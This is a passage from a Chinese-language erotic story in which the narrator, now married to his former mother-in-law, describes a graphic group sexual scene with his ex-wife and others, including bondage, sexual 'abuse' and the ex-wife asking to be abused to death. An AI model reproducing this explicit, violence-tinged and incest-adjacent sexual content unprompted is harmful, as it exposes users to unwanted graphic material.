我老婆!准确说是我离婚前的老婆,是我现在的老婆的女儿。而就在刚才,这离
婚前的老婆还在拼了死命地性虐我现在的老婆,也就是她的母亲。
这情景可真他妈复杂,真他妈莫名其妙,真他妈……就在如此多真他妈的当
儿,我竟一阵酥麻,大股的浓重精液激射而出,深深地射进我老婆的女儿,也就
是以前的老婆的阴道里。
“可真他妈棉嗦!”这是我当时空白的脑海里唯一的思维。
又是俗不可耐的漫长停顿过去后,我站了起来,茫然不知所措地看着徐阿姨
推开压在身上的两条肉虫,解开我现在的老婆身上的绳索。
老婆当然也被眼前突发的情景弄得同样目瞪口呆、不知所措,手忙脚乱地在
地上翻找能遮丑的东西,忙乱间顺手拣起柳大夫扔在地上的小丁字裤用力捂着下
身。
但那裤头实在太小了,脱下的时候又被揉成小卷,而她刚经历了刺激的高潮,
阴道口大张着,那丁字裤竟顺着那还在流淌的淫液整个塞进了腔道里,只露出一
小段细带子。
这情景让我回想起那天我和当时还是岳母身份的她在家里偷情,被当时还是
妻子身份的老婆发现的尴尬场面。
而前妻这时却“呜”的一声大哭起来,扑上去用力搂着自己的妈妈:“我实
在忍受不了啦,离婚后我找了很多男人,没有一个能满足我的。我让他们打我、
虐待我,他们都把我当成疯子,骂我淫荡、下贱,脑袋有问题,都不肯碰我一下。
就在他们糟骂时我也特来情绪,可他们一个个都怕传染病似的逃了,剩我一个难
受死了,只能自己手淫,拿小皮鞭抽自己。心里就想着那天你被吊着性虐待的情
景,我恨死你了,却又想回来,我要重新回来和你们在一起。我当小老婆也行,
你和小文一起狠狠虐待我,把我活活整死也行。好吧,妈,以后我随你们折腾,
回来前我都给徐阿姨保证过了!”
老婆也哭成泪人似的,一老一少两个丰满成熟的裸体搂抱在一起,以前的恩
怨情仇刹那间冰释前嫌。这时我发现前妻的屁眼里还紧紧地插着个粗大的肛门塞!
戏剧性的重逢大团圆后,我、老婆(前岳母)、前妻(老婆的女儿)、徐阿
姨、柳大夫就像一家人一样,五口人从此幸福的生活在一起。
她们还给安排好了娱乐的时间表:周一至周四每人单独轮流和我过性活,周
五是合家欢;周六和周日是我的假日,可选择休息或和其中任何一个人淫乱,别
人不准干涉妒忌。
后记
什么大团圆结局,狗屁幸福生活!以上商定的娱乐时间安排只维持了两个星
期,就给她们全违约了。
四个大老不小的中、老年女人咭咭咋喳喳闹个没完了,说什么你玩的时间长
了,我发明的花试给你克隆去了,是侵权行为……等等等等。最后一致投票决定
(4:1大比数通过):不分昼夜,五个人大床同眠,尽情享受,无分彼此!
他妈的!救命啊!!!